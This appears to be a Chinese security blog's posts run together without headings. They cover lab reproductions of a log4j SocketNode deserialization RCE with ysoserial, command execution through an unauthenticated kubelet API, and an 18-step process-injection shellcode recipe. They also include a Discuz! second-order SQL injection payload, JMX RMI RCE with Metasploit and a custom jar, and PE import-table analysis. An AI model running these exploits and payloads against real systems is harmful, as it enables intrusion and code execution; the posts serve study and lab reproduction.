org.apache.log4j.net.SocketNode类在实现Runnable接口的run方法时,未对输入做过滤,直接读取流中的对象,特定条件下可被利用,存在远程代码执行的风险。
可以看到,直接就ReadObject了,啥过滤也没做,也没校验。
如果结合其他序列化漏洞,比如Jdk7u21,就可以远程代码执行。
用java version “1.7.0_05” 启动Log4j中的example服务:
$ java -cp log4j-1.2.17.jar org.apache.log4j.net.SocketServer 1234 examples/lf5/InitUsingLog4JProperties/log4j.properties ../
结合ysoserial可以利用:
$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 “gnome-calculator” | nc localhost 1234
本文在Debian10上操作,且Debian10已安装最新Docker.
1.Install kubectl
# https://kubernetes.io/docs/tasks/tools/install-kubectl/#install-kubectl-on-linux
sudo apt-get update && sudo apt-get install -y apt-transport-https
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee -a /etc/apt/sources.list.d/kubernetes.list
sudo apt-get update
sudo apt-get install -y kubectl
2. Install minikube
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube_1.6.1.deb \
&& sudo dpkg -i minikube_1.6.1.deb
3. Install Driver (Optinal)
https://kubernetes.io/docs/setup/learning-environment/minikube/#specifying-the-vm-driver
确认安装:
root@debian10:~# minikube start --vm-driver=none
* minikube v1.6.1 on Debian 10.2
* Selecting 'none' driver from user configuration (alternates: [])
* Tip: Use 'minikube start -p <name>' to create a new cluster, or 'minikube delete' to delete this one.
* Starting existing none VM for "minikube" ...
* Waiting for the host to be provisioned ...
! VM may be unable to resolve external DNS records
* Preparing Kubernetes v1.17.0 on Docker '19.03.0' ...
* Downloading kubeadm v1.17.0
* Downloading kubelet v1.17.0
* Launching Kubernetes ...
* Configuring local host environment ...
*
! The 'none' driver provides limited isolation and may reduce system security and reliability.
! For more information, see:
- https://minikube.sigs.k8s.io/docs/reference/drivers/none/
*
! kubectl and minikube configuration will be stored in /root
! To use kubectl or minikube commands as your own user, you may need to relocate them. For example, to overwrite your own settings, run:
*
- sudo mv /root/.kube /root/.minikube $HOME
- sudo chown -R $USER $HOME/.kube $HOME/.minikube
*
* This can also be done automatically by setting the env var CHANGE_MINIKUBE_NONE_USER=true
* Done! kubectl is now configured to use "minikube"
root@debian10:~#
root@debian10:~# minikube status
host: Running
kubelet: Running
apiserver: Running
kubeconfig: Configured
root@debian10:~# minikube stop
* Stopping "minikube" in none ...
* Stopping "minikube" in none ...
* "minikube" stopped.
root@debian10:~#
配置可访问api,编辑/var/lib/kubelet/config.yaml 文件,把anonymous auth改成true,authorization mode改成AlwaysAllow
重启:
sudo systemctl daemon-reload
sudo systemctl restart kubelet.service
确认可以访问:
curl -k https://localhost:10250/runningpods/
启动(VMware中虚拟机上的Debian10):
# minikube start --vm-driver=none
kubectl create deployment kubernetes-bootcamp --image=gcr.io/google-samples/kubernetes-bootcamp:v1
kubectl get deployments
echo -e "\n\n\n\e[92mStarting Proxy. After starting it will not output a response. Please click the first Terminal Tab\n";
kubectl proxy
打开新终端,确认部署成功:
export POD_NAME=$(kubectl get pods -o go-template --template '{{range .items}}{{.metadata.name}}{{"\n"}}{{end}}')
echo Name of the Pod: $POD_NAME
curl http://localhost:8001/api/v1/namespaces/default/pods/$POD_NAME/proxy/
另一些查看的命令:
kubectl get pod
kubectl describe pods
kubectl get services
kubectl get pods --all-namespaces
kubectl get deployments
minikube service $POD_NAME --url
kubectl delete services $POD_NAME
kubectl delete deployment $POD_NAME
minikube stop
minikube delete
执行命令的格式是:
# /run/%namespace%/%pod_name%/%container_name%
所以执行命令要获得 namespace, pod_name, container_name这三个数据:
curl -k https://192.168.23.134:10250/runningpods/
curl -k https://192.168.23.134:10250/pods/
获取后在容器里执行命令:
curl -k -XPOST "https://192.168.23.134:10250/run/default/kubernetes-bootcamp-69fbc6f4cf-82lk2/kubernetes-bootcamp" -d "cmd=ls -ahl"
至于如何逃逸容器,那就要讨论Docker了。暂不讨论。
参考:
https://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250.html
https://kubernetes.io/docs/tasks/tools/install-kubectl/#install-kubectl-on-linux
https://kubernetes.io/docs/setup/learning-environment/minikube/#specifying-the-vm-driver
https://gist.github.com/lizrice/c32740fac51db2a5518f06c3dae4944f
思路:
1.CreateProcess 创建进程 ,进程信息放在 PROCESS_INFORMATION pi 中。
2. GetSystemInfo 获取内存中的所有数据,放在 SYSTEM_INFO sysinfo; 中。
3.从 sysinfo.lpMinimumApplicationAddress 开始, 每一次的大小为 sysinfo.dwPageSize 到 sysinfo.lpMaximumApplicationAddress结束,遍历内存。
4.每次都 VirtualQueryEx 一次, 把当前页的内存信息放到 MEMORY_BASIC_INFORMATION mbi = {0}中。
5.当 VirtualQueryEx 出来的类型是 MEM_IMAGE 时,内存中的地址又是指定文件名的映射,就保存并返回这个地址。
6.用 CImage 的 AttachToProcess方法读取刚刚地址的内存头,保存在 PBYTE ImageBase中。
7.用 VirtualQueryEx 出来的内存地址 加 CImage结构体中的m_dwEntryPoint长度,就是程序内存中的入口点。
8.找到打开程序的程序入口点的地址,就可以准备要注入的code了。
typedef struct _INJECT_DATA64
{
BYTE ShellCode[0xC0];
/*Off=0x0C0*/HANDLE ModuleHandle; //Dll句柄
/*Off=0x0C8*/PUNICODE_STRING pDllPath;//PUNICODE_STRING DllPath
/*Off=0x0D0*/ULONG DllCharacteristics;
/*Off=0x0D8*/ULONG_PTR AddrOfLdrLoadDll;//LdrLoadDll地址
/*Off=0x0E0*/ULONG_PTR ProtectBase; //用于VirtualMemory
/*Off=0x0E8*/ULONG OldProtect; //用于VirtualMemory
/*Off=0x0F0*/SIZE_T ProtectSize;s
/*Off=0x0F8*/ULONG_PTR ExeEntry;//Exe入口点的地址
/*Off=0x100*/ULONG_PTR AddrOfZwProtectVirtualMemory;
/*Off=0x108*/BYTE SavedEntryCode[16];//保存exe入口点的前16字节
/*Off=0x118*/UNICODE_STRING usDllPath;//Dll路径
/*Off=0x128*/WCHAR wDllPath[256];//Dll路径,也就是usDllPath中的Buffer
}INJECT_DATA64;
9.用 VirtualAllocEx 分配出一块 0x1000 大小的内存,分给 之前打开的进程。
10.ReadProcessMemory 读取目标进程的前8个字节,并存到变量里。
11.用 VirtualProtectEx 修改目标进程的内存属性。
12.找到目标进程中32位 ntdll 的地址。
13.通过计算自己内存里ntdll中ZwProtectVirtualMemory和LdrLoadDll的偏移,来推测目标进程的相关函数的偏移。
14.获取 shellcode的内容,开始到偏移的内容。把内容放到 INJECT_DATA64 结构体的 ShellCode中。
15.填充 INJECT_DATA64 结构体的 其他内容。
16.用 WriteProcessMemory 把 INJECT_DATA64 结构体写道目标进程中,位置是之前用 VirtualAllocEx 分配的内存 。
17.编写Jmp xxxx指令,用 WriteProcessMemory 让程序在开头跳转到 shellcode 执行。
18.ResumeThread 让暂停的线程继续执行。
代码参考 加密解密 随书光盘中的 : chap12\10.CreateProcContextInject\CreateProcContextInject.cpp
Discuz!被爆出后台存在SQL注入漏洞,影响 Discuz! X系列全版本。
source\admincp\admincp_setting.php 在处理请求参数时,未完全转义过滤请求参数,导致存在二次注入。
upload\uc_client\model\base.php
初始化方法调用,跟进init_note方法。
跟进 note_exists 方法:
这里的 .UC_DBTABLEPRE. 和 .UC_APPID. 都是从配置文件读取的。
查找UC_APPID
upload\source\admincp\admincp_setting.php
传入参数数组。
被注入过的./config/config_ucenter.php 文件
可以看到只是把单引号用反斜杠转义保存了。
转义一次的字符串被写人文件中,在PHP解析时就是没有转义过的原始内容 造成了二次注入的产生。
测试demo:
<?php
define('UC_APPID', 'sadsadsadasd\'');
printf(UC_APPID);
也就是 UC_APPID 的值被从文件取出来后,php默认会把他的反斜杠去掉了。
也就是UC_APPID的值被还原成 1′ and extractvalue(1,concat(0x7c,(select @@version))) — 1′
攻击者在登录Discuz!管理员后台后,可用此漏洞来进行SQL注入,获取数据库里的敏感信息。
【参考链接】
https://mp.weixin.qq.com/s/0PaVA9tzOxBFQVZ0EBVc9A
前提:JMX RMI 不需认证
以apache solr 8.2.0 For linux为例。
方法1:
启动默认打开RMI端口:
启动msf:
use exploit/multi/misc/java_jmx_server
set RHOSTS 192.168.23.128
set RPORT 18983
run
理论上对JMX RMI暴露出来的未认证端口通吃。
方法2:
思路:
源代码:
https://gitlab.com/han0x7300/jmx_rmi_exploit
Usage:
java -jar JMXRMIRCE.jar [attacker's ip] [attacker's port that can listern] [JMX RMI service ip] [JMX RMI service port] [command]
Example:
java -jar JMXRMIRCE.jar 192.168.23.154 4141 192.168.23.128 18983 “cat /etc/os-release”
也可以直接用我打包好的jar包。jre 1.8可用。
参考: * https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/ * https://www.bbsmax.com/A/Gkz1pPOQdR/
VIrtual Size是加载到内存的大小
Raw Size是文件中偏移的大小
以XP上的notepad.exe为例(加密解密第十一章)
https://73007300.xyz/notepad.exe
本文使用010Editor做辅助分析。
找PE文件里的dll函数和地址:
文件从0h 开始+3ch的值,指向了NtHeader
notepad.exe
NtHeader的+04h处可以判断PE文件时运行在32位平台还是64位平台,长度2h:
其中数值对应的解释:
pe文件里 数值都是从后往前读的,4C 01代表的值就是:014C
NtHeader的+18h的位置是OptionalHeader的位置
32位的PE文件中:
OptionalHeader的IMAGE_DATA_DIRECTORY在NtHeader的+78h偏移处。
数据结构:
notepad.exe:
64位的PE文件中
OptionalHeader的IMAGE_DATA_DIRECTORY在NtHeader的+88h偏移处:
数据结构:
在 IMAGE_DATA_DIRECTORY 中,每一项的都是如下数据结构的展示出来:
在PEview里看到的就是这种结构:
然后找到Import Table的位置:
RVA:7604h
Size:C8
一直到NtHeader结束,文件偏移的大小(Raw Offset)和映射到内存中的大小(Virtual Offset)都已一样长的,也就是偏移量一一对应。
从这里开始,接下来的区块表部分使得Raw Offset和Virtual Offset不相等了。
有两个值特别值得关注:
NtHeader+38h的值指定了内存中的对齐大小。不足按这个大小补足。
NtHeader+3Ch的值指定了文件中的对齐大小。
我们安装系统分区时常说的4K对齐,就是这两个值对齐。
NtHeader+54h的值指定了所有头的总大小:
也就是Section data部分从400h的位置开始。
NtHeader后面紧跟Section Header,根据 数据目录表 推算,notepad.exe的Section Header是从NtHeader +F8h处开始,也就是 E0 + F8h = 1D8。
Section Header是由多个Section Header组成的。1D8h处即使第一个section header的位置。每个section header的大小是28h
从1D8开始的前8个字节对应的是这部分section的Name的ascii码。
notepad.exe中是.text
微软一般用这个名字的section来存代码。之后再偏移1个DWORD对应的是VirtualSize,在notepad.exe中位于1D8h + 8h + 4h的位置,其大小是1000h
再偏移1个DWORD是Size Of Raw Data,其指定了这部分section的大小,大小是7800h:
再偏移1个DWORD就是PointerToRawData,值是400h,他代表的是在文件偏移中的位置,也就是图中左侧那一列的地址:
.text的section header:
VirtualSize | 1000h |
PointerToRawData | 400h |
Size Of Raw Data | 7800h |
Import Table:
RVA | 7604h |
Size | C8 |
由于.text的大小时1000h开始,偏移7800h的大小,7604h在这部分大小中,所以import table就在.text里。
参考《加密解密》第十一章的介绍,此时 内存偏移 – 文件偏移 的差值△k的值就是△k= 1000h – 400h = C00h
此时RVA – △k= 7604h – C00h = 6A04 ,6A04指向的是一个输入表结构,一个链状的结构,也就是这个输入表结构在文件上的位置。
输入表结构:
notepad.exe的6A04位置:
梳理一个红圈里的这个IID(Image_Import_Descriptor)结构
OriginalFirstThunk | TimeDateStamp | ForwarderChain | Name | FirstThunk |
7990 | FFFFFFFF | FFFFFFFF | 7AAC | 12C4 |
略 | 略 | 略 | 略 | 略 |
然后看看第四部分指向的Name是不是一个dll名称。
第四部分的值是7AAC。这是个内存中的位置。File Offset = Virtual Offset – △k = 7AACh – C00h = 6EACh。
查看notepad.exe中的6EACh中的内容:
结果和CFF的一致:
最后一个IID结构用0填充:
OriginalFirstThunk 指向的是INT(Import Name Table),也就是dll中的函数名称表
FirstThunk指向的是IAT(Import Address Table) ,也就是dll中函数的地址表
下面来看看OriginalFirstThunk 指向的函数名称对不对。
OriginalFirstThunk指向的是一个Image_Thunk_Data结构类型的元素。
Image_Thunk_Data = OriginalFirstThunk – △k = 7990 – C00 = 6D90
红框中每个框对应一个函数名的RVA。
7A7A – C00 = 6E7A (7)
7A5E – C00 = 6E5E (5)
7A9E – C00 = 6E9E (9)
7A50 – C00 = 6E50 (4)
7A40 – C00 = 6E40 (3)
7A8A – C00 = 6E8A (8)
7A6A – C00 = 6E6A (6)
7A14 – C00 = 6E14 (1)
7A2C – C00 = 6E2C (2)
这些虚地址指向的是一个 IMAGE_IMPORT_BY_NAME结构的数据
以00结束。
再来看FirstThunk指向的位置。
12C4 – △k = 12C4 – C00 = 6C4
这里记录了9个虚地址。00结束。
和Peview显示的一致:
如果想引用的dll不被列在pe头的Import Table中,那就要动态加载dll,常用的函数是“LoadLibrary”和“GetProcAddress”
在虚拟机里运行Cuckoo就需要在虚拟机里运行虚拟机,这时候需要把vmware的Virtualize Intel VT-x/EPT or AMD-V/RVI勾上。
Amazing!
This is My gitlab